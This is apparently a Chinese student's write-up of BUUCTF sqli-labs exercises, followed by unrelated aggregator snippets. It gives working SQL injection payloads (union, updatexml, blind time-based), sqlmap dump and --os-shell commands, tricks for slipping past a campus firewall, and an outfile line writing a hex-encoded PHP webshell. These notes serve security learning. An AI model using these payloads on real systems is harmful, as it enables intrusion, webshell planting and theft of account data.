注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs)

news2024/11/22 23:17:03

目录

  • 写在前面
  • 一、暴力破解
    • Basic-3-Brute 1
      • 1.解题思路
      • 2.Burp Suite工具使用简介
  • 二、基于GET的SQL注入
      • Pre.使用校园网做题时可能遇到的小问题
    • 2.1 Basic-4-SQL course 1(sql注入)
      • 1.解题思路
    • 2.2 Basic-8-sqli-labs(sql注入的各种攻击形式)
      • 1.报错注入
        • less-1(`Error-Based` `单引号` `字符型`注入)
        • 其他类似题目(less2-less4)
      • 2.XPath注入
        • less-5 (Double injection)
          • 1.使用XPath注入
        • 其他类似题型
      • 3.文件导出
        • less-7 dump into outfile(文件导出)
          • 1.布尔盲注 爆破获得数据
          • 2.利用文件导出功能
      • 4. 布尔盲注
        • less-8(Blind,Boolian Based, single quote,`布尔盲注`)
      • 5. 时间盲注
        • Pre.sqlmap工具使用简介
        • less-9 (Blind,Time Based, Single Quote,`时间盲注`)
          • 1.手工盲注
          • 2.使用sqlmap
        • less-10 (Blind,Time Based, Double Quotes,`时间盲注`)
  • 三、基于POST的SQL注入攻击
    • 1. 常规
      • less11
  • 参考文章

写在前面

  1. 为了准备信息安全技术课程汇报做的笔记,想着做了也是做了,不如分享出来给想我一样的初学者学习。本人之前没有做过CTF,也没有学过SQL注入,零基础,所以大佬可以先行离开

  2. 我的汇报内容是

  • SQL注入
  • XPath注入
  • HTML注入
    另一篇文章讲HTML注入,例子给的比较简单,但会给源码。主要是在Kali Linux中使用LAMP搭建一个简易的网站讲解HTML注入,感兴趣的可以点击下面的链接。
    注入攻击(二)--------HTML(有源码)

一、暴力破解

先做个题感受一下CTF,顺带学个BP工具使用。

Basic-3-Brute 1

1.解题思路

  1. 启动靶机后,给出一个登录界面
    登录界面

  2. 猜想使用admin作为用户名尝试登陆,查看服务器返回信息
    错误提示信息

  3. 得到密码的结构:4位数字

  4. 使用burp suite进行爆破,得到当password=6490时,返回登陆成功并给出flag
    bp爆破

2.Burp Suite工具使用简介

使用Burp Suite进行爆破需要先进行一些配置,以下是我进行配置时的详细过程。

  1. 设置监听,监听8080端口。
    proxy

  2. 对浏览器进行同样的设置,将其代理设置成8080端口(以为Firefox浏览器为例)

  3. 打开监听器,这时浏览器的请求会被Burp Suite拦截,我们可以通过Burp Suite来修改请求内容
    intercepter off

  4. 设置完毕后在刚才的登陆界面输入usernamepassword后会跳转至Burp SuiteBurp Suite会展示浏览器请求的内容。

intercept on
5. 替换要进行爆破的变量内容
addvalue
6. 设置字典,由于提示是四位数字,我将Character Set中的英文字符删除
set dictionary

  1. 开始进行爆破攻击,当攻击完毕可以通过编辑filter快速筛选出内容不同的报文
    得到1.解题思路中的结果
    bp爆破

二、基于GET的SQL注入

Pre.使用校园网做题时可能遇到的小问题

我做题时遇到的问题:一旦涉及到union查询以及出现select语句,就会出现连接错误connection error
fire wall

问题原因推测:校园网防火墙过滤拦截了这部分带有union字符URL,判断其有sql注入攻击的风险

解决办法:

  1. 不用校园网,连接自己手机的热点
  2. 复写关键词达到绕过WAF的目的如 union 写成 uniounionn(实测不成功,根据各个网络设置不同,实验结果也不同)
  3. 大小写混写达到绕过目的union写成UNiOn
  4. 在union前后添加%0A实测成功,URL编码中的一个转义字符表示换行)

2.1 Basic-4-SQL course 1(sql注入)

1.解题思路

  1. 在火狐浏览器或者chrome浏览器中按F12调试启动开发者模式查看网络请求,可以看到其请求content_detail.php,从header中可以看到其访问地址为/backend/content_detail.php
    content_detail

  2. 进行一些测试,看看其是否能通过URL进行sql注入提取到信息

  • 更改id,看页面反馈,分别用id=1,2,3,4逐个测试
    id=1

id=2
id=3
id=4

  • 测试 and
    and1=1
    and1=2

  • 测试 or 是否被过滤
    or1=1

  1. 经过上述的简单测试发现可以通过sql进行数据获取,接下来通过构造sql语句查询数据库的一些结构信息
  • 查询表名
id=0 
union
select 1, group_concat(table_name) 
from information_schema.tables 
where table_schema=database() %23

结果:
find table name

  1. 得知数据库中一共有两个表,admincontents
  2. 针对admin表进行查询
  3. 查询admin表列名
?id=-1
union 
select 1,group_concat(column_name) 
from information_schema.columns 
where table_name='admin'%23

注入后结果:
getcolumnname

  1. 查询username、password字段数据
?id=-1
union 
select group_concat(username),group_concat(password) 
from admin--+

拿到一个登录账户以及密码

getaccount

  1. 使用这个账户密码登录成功后会显示flag,提交flag这题就算ac了
    showflage
    9.提交flag
    submit

2.2 Basic-8-sqli-labs(sql注入的各种攻击形式)

1.报错注入

less-1(Error-Based 单引号 字符型注入)

  • 解题思路

提示输入数字,构造url尝试

  1. 判断参数是整数型还是字符型
  • ?id=1

  • ?id=1' and 1=1 #

  • ?id=1' and 1=2 #

  • ?id=1' and 1=1 #

  • ?id=1' and 1=1 #

  1. 判断登陆表一共有几列,观察到当4时不回显,说明表为3列
  • ?id=1' order by 1 %23
  • ?id=1' order by 2 %23
  • ?id=1' order by 3 %23
  • ?id=1' order by 4 %23
  1. 查询用户权限和数据库类型
  • ?id=-1' union select 1,user(),database() %23
    dbtype
  1. 查看操作系统和数据库版本
?id=-1' 
union 
select 1, @@version_compile_os,version() %23

os and version

  1. 查询表名
?id=-1' 
union 
select 1,2,group_concat(table_name) 
from information_schema.tables 
where table_schema=database()%23

table name

  1. 查询表字段名
?id=-1' 
union 
select 1,2,group_concat(column_name) 
from information_schema.columns 
where table_name='users'%23

table column name

  1. 得知字段名后,可以查询所有账户信息
?id=-1' 
union 
select 1,group_concat(username),group_concat(password) 
from users %23

table data

其他类似题目(less2-less4)

  1. less-2(Error-Based``整数型注入 )

    select * from user where id=$id LIMIT 0,1

  2. less-3(Error-Based``单引号括号 字符型注入)

    select * from user where id=('$id') LIMIT 0,1

  3. less-4(Error-Based``双引号括号 字符型注入)

    select * from user where id=(”$id“) LIMIT 0,1


报错注入
XPath注入
时间延迟型盲注
布尔盲注

2.XPath注入

less-5 (Double injection)

该题登陆成功不会显示信息,但是登陆失败还是会显示sql语句报错信息
less5-right
less5 fault

1.使用XPath注入
updatexml(xpath_string, new_string, xml_field)
substr(str, pos)
substr(str, pos, len)
  • 解题过程
  1. 获取当前数据库名称
?id=1'
and 
updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s

通过更新一个不存在的xml节点,在其中插入另外一个查询语句获取数据信息
成功在页面展示出数据库名称
less-5-XPath
2. 获取当前数据库所有表名称

?id=1'
and 
updatexml(1,concat(0x7e,substr((select group_concat(table_name) 
from information_schema.tables where table_schema=database()),1,31),0x7e),1) -- s

find table

  1. 获取当前数据库user表所有列名称
?id=1'
and 
updatexml(1,concat(0x7e,substr((select group_concat(column_name) 
from information_schema.columns 
where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s

fine column name

  1. 获取当前数据库user表所有username和password的值,通过读取多个子字符串逐段读取user表中所有的数值
?id=1'
and 
updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s

find by row1

?id=1'
and
updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) 
from users),32,31),0x7e),1)-- s

find  by row 2

以此类推…

?id=1'
and 
updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) 
from users),63,31),0x7e),1)-- s

  1. 写webshell
?id=1' into outfile 'C:/less5.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373355d293b3f3e-- s

其他类似题型

  • less-6 (Double injection)

与less5基本相同,但是闭合是双引号的

3.文件导出

less-7 dump into outfile(文件导出)

1.布尔盲注 爆破获得数据
  • 输入正确
    查询结果不回显
  • 输入错误
    不显示SQL语法错误

使用布尔盲注来逐个测试,手工注入工作量太大,可以使用bp工具完成

2.利用文件导出功能
  1. 找到文件存放的根目录

?id=-1 union select 1,@@basedir,@@datadir

getrootdir

  1. 得到路径后进行文件导出

4. 布尔盲注

less-8(Blind,Boolian Based, single quote,布尔盲注

布尔盲注(Boolean Blind SQL Injection)是一种利用布尔逻辑的盲注技术,用于检索和利用Web应用程序的数据库中的信息。这种盲注技术是在应用程序未显示明确错误消息或回显数据库响应的情况下进行的。

在布尔盲注攻击中,攻击者利用应用程序对特定输入的响应,如页面的不同响应,来判断查询语句是否执行成功。攻击者通过尝试不同的输入值,比较不同输入值的响应,来逐步推断出数据库中的信息。

以下是一个简单的布尔盲注示例,假设有一个网站,在搜索框中输入姓名可以检索数据库中的用户信息。攻击者可以尝试向搜索框中输入以下语句:

' OR 1=1 --

这将使SQL查询变为类似以下的形式:

SELECT * FROM users WHERE name='' OR 1=1 -- '

如果搜索成功,说明数据库中至少有两个用户,攻击者就可以通过类似的方法,逐步推断出更多的信息,例如用户名、密码等。

5. 时间盲注

Pre.sqlmap工具使用简介

sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

less-9 (Blind,Time Based, Single Quote,时间盲注)

1.手工盲注

if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。

# 判断参数构造
?id=1' and if(1=1,sleep(5),1)--+
    
#判断数据库名长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+

# 逐一判断数据库字符
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

# 判断所有表名长度
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(1000),1)--+

# 逐一判断表名
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

# 判断所有字段名的长度
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

# 逐一判断字段名
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
    
# 判断字段内容长度
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
    
# 逐一检测内容
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

2.使用sqlmap

手工盲注输入过于耗费时间,采用sqlmap工具进行破解

# 查看是否有注入点
sqlmap -u "?id=1" 
# 获取所有数据库名字
sqlmap -url "?id=1" --dbs
# 获取当前数据库
sqlmap -url "?id=1" --current-db
#获取数据库security所有表名称
sqlmap -u "?id=1" --tables -D security
#获取数据库security的users表的所有列名
sqlmap -u "?id=1" --columns -D security -T users
#获取数据库security的users表的username和password列的值
sqlmap -u "?id=1" --dump -D security -T users -C username,password
#
sqlmap -u "?id=1" --os-shell 
  1. 判断当前网址是否有注入点

    sqlmap -u "?id=1"

getDBType

getDBType2

  1. 获取所有数据库名

    sqlmap -url "?id=1" --dbs

getAllDBName

  1. 获取当前数据库

    sqlmap -url "?id=1" --current-db

getCurrentDBName

  1. 获取数据库Security中所有的表名

    sqlmap -u "?id=1" --tables -D security

getAllTable

  1. 获取指定数据库security指定表users的所有列名

    sqlmap -u "?id=1" --columns -D security -T users
    getcolumnname

  2. 读取指定表的指定列数据

    sqlmap -u "?id=1" --dump -D security -T users -C username,password --dump

gettabledetail

less-10 (Blind,Time Based, Double Quotes,时间盲注)


三、基于POST的SQL注入攻击

前面使用的是GET直接在URL中进行传参

1. 常规

less11

  • 解题思路
    less11-1
  1. 查看报错信息,发现输入的信息被包裹在单引号中,推断出sql语句应该形如:

select * from table where username='$id' and password='$pswd'

less-11-1

  1. 构造绕过语句

1' or '1=1

1' or '1=1 #

  1. 输入后提示登陆成功

less-11-2

  1. 构造其他语句,泄露数据库的其他信息

时间关系。后面的题目基本就没做了,大家可以直接到参考文章中查看,提供了大佬们详细的题解。

参考文章

本人精力有限,为了课程汇报,所以做的难免急躁,肯定有不足之处。下面是我这几天学习参考的几篇BUUCTF sqli-labs 的讲解文章,希望大家能从大佬的文章中学习到真正的知识,也不枉辛苦大家点进我这篇破文章哈哈

包含了详细的题解,图文并茂
1. sqli-labs通关(less1~less10)By 仙女象
2. sqli-labs通关(less11~less20)By 仙女象
3. sqli-labs通关(less21~less30)By 仙女象
4. sqli-labs通关(less31~less40)By 仙女象
5. sqli-labs通关(less41~less50)By 仙女象
6. sqli-labs通关(less51~less60)By 仙女象
7. Sqlmap使用(sqli-lab)By Mccc_li
8. 详细sqli-labs(1-65)通关讲解 By 糊涂是福yyyy
9.BUUCTF-Basic By _abcdef

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/509179.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

iostat

目录 iostat 查看读写速度和占用CPU时间比率 一、包名 二、常用命令 三、模拟磁盘读写 iptop 看哪个进程使用存储多 iostat 查看读写速度和占用CPU时间比率 一、包名 sysstat (和sar同一个包) 二、常用命令 iostat 1 每一秒…

js执行思维导图

备注: js执行: 执行分为两部分:预执行和执行 预执行:创建好执行上下文 执行:执行栈中执行 js引擎: 读取并执行js 各个浏览器的引擎如下 …

总结846

学习目标: 月目标:5月(张宇强化前10讲,背诵15篇短文,熟词僻义300词基础词) 周目标:张宇强化前3讲并完成相应的习题并记录,英语背3篇文章并回诵 每日必复习(5分钟&#…

软考A计划-重点考点-专题八(知识产权和标准化知识)

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例 👉关于作者 专注于Android/Unity和各种游戏开发技巧,以及各种资源分享&am…

环保认证油烟监测装置餐饮业油烟污染如何治理?

摘要:城市餐饮业油烟污染成了困扰城区环境保护部门和人民群众日常生活的主要问题。油烟污染已经成为我国一个重大的污染源,是形成PM2.5的重要污染源之一,为了解决餐饮业油烟管理方面存在的问题,设计了餐饮业油烟在线监控系统&…

什么CRM客户管理系统最好?

产业互联网背景下,企业数字化转型日渐深化。毋庸置疑,客户是企业的命脉,企业发展的关键便是以客户为中心,为客户创造价值,并不断实现企业的可持续性增长,而这也是每个企业永不落幕的主题。 一套优秀的CRM客…

设计模式之【装饰者模式】,实现“穿衣打扮”自由原来这么简单

文章目录 一、什么是装饰者模式1、装饰者模式原理2、装饰者模式四大角色3、代理、桥接、装饰器、适配器 4 种设计模式的区别4、装饰者模式的应用场景5、装饰者模式和代理模式的对比6、装饰者模式优缺点7、抽象装饰器(Decorator)是必需的吗 二、实例1-煎饼…

上门推拿app开发软件|上门推拿o2o源码|上门推拿小程序

随着社会的发展,人们越来越注重身体健康,推拿按摩已经成为了不少人减轻身体疲劳、缓解压力的重要方式。但是,传统的推拿按摩前往店铺消费时间成本高、实现复杂,为此同城预约上门推拿小程序成为了时代的产物。   1. 市场需求大&a…

【机器学习】线性回归模型详解

PS:本文有一定阅读门槛,如果有不明白的地方欢迎评论询问! 1 模型概述 接下来我们将要学习我们的第一个模型——线性回归。比如说我需要根据数据预测某个面积的房子可以卖多少钱 接下来我们会用到以下符号: m:训练样本数量x:输…

软考A计划-重点考点-专题七(软件工程)

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例 👉关于作者 专注于Android/Unity和各种游戏开发技巧,以及各种资源分享&am…

当今自然语言处理领域中的成功之路:Transformer模型

当今自然语言处理领域中最重要和最成功的模型之一是Transformer模型。它是一种基于自注意力机制的神经网络模型,最初由Google公司的研究人员提出,并被广泛应用于机器翻译、文本生成、情感分析等任务中。 Transformer模型之所以被广泛使用,是因…

AI 将完全取代前端开发吗?

注:今晨,我浏览 Medium,看到了篇颇为标题党的文章,于是我就将它抛给了 ChatGPT。本篇文章全部由 ChatGPT 所写。同时,我也请 ChatGPT 分享了它对此的观点。 最近,我的同事向我讲述了他与他老板的一次谈话。…

Golang每日一练(leetDay0061) 表列序号、阶乘后的零

目录 171. Excel 表列序号 Excel Sheet Column Number 🌟 172. 阶乘后的零 Factorial Trailing Zeroes 🌟🌟 🌟 每日一练刷题专栏 🌟 Golang每日一练 专栏 Python每日一练 专栏 C/C每日一练 专栏 Java每日一练…

ImageBind 多模态文本、图像、音频 Embedding同一个共享空间

参考: https://github.com/facebookresearch/ImageBind ImageBind learns a joint embedding across six different modalities - images, text, audio, depth, thermal, and IMU data ImageBind 多个模态共享同一个空间Embedding,这样可以通过一个模态…

【虾皮shopee来赞达lazada】各区域商品详情API接口返回值说明

虾皮shopee电商数据(来赞达lazada同理) 虾皮(shopee)是一个亚洲区域的电商平台,主要在东南亚地区提供电商服务。虾皮提供了丰富的电商数据,包括商品数据、订单数据、会员数据、评价数据等。以下是具体的介绍: 商品数据…

SpringBoot ( 二 ) 配置Controller

2.Controller处理请求 由于 在建立 SpringBoot项目时选择的 Web > Spring Web , Maven会导入 SpringMVC 框架 依赖, 做为 Web处理框架 在 SpringMVC框架中 , 通过 Controller类中的方法 来处理请求, 产生响应 在方法中 要解决以下问题 标识方法转页接收请求时传递信息封装响…

生物识别技术的安全挑战

背景 如今,生物识别技术已成为最流行的趋势之一,该趋势旨在通过更具弹性的身份验证机制来提高安全性并阻止网络攻击。目前,全球不仅面临着越来越多的跨设备和系统的网络威胁,冠状病毒大流行还改变了消费者和企业对数字和物理风险…

ChatGPT会如何影响我们的工作生活和人力资源需求

ChatGPT,这几天体验了一下,确实是非常震撼。 一方面是因为它的回答确实相当好,自带一点框架逻辑,有上下文理解能力,可以追问,有情商。虽然很多时候都是一些正确的废话 它还有媲美一个普通大学生的信息整合…

PCIe热插拔机制(详细)总结-PCIe专题知识(五)

目录 前言一、概述二、原理详解2.1 热插拔原理总结2.2 热插拔软硬件要求 三、其他相关知识链接1、PCIe物理层总结-PCIE专题知识(一)2、PCIe数据链路层图文总结-PCIe专题知识(二)3、PCIe物理层链路训练和初始化总结-PCIe专题知识&a…

macOS Ventura 13.4 RC(22F62)发布

系统介绍 5 月 10 日消息,苹果今日向 Mac 电脑用户推送了 macOS 13.4 RC 更新(内部版本号:22F62),本次更新距离上次发布隔了 49 天。 macOS Ventura 带来了台前调度、连续互通相机、FaceTime 通话接力等功能。其中&a…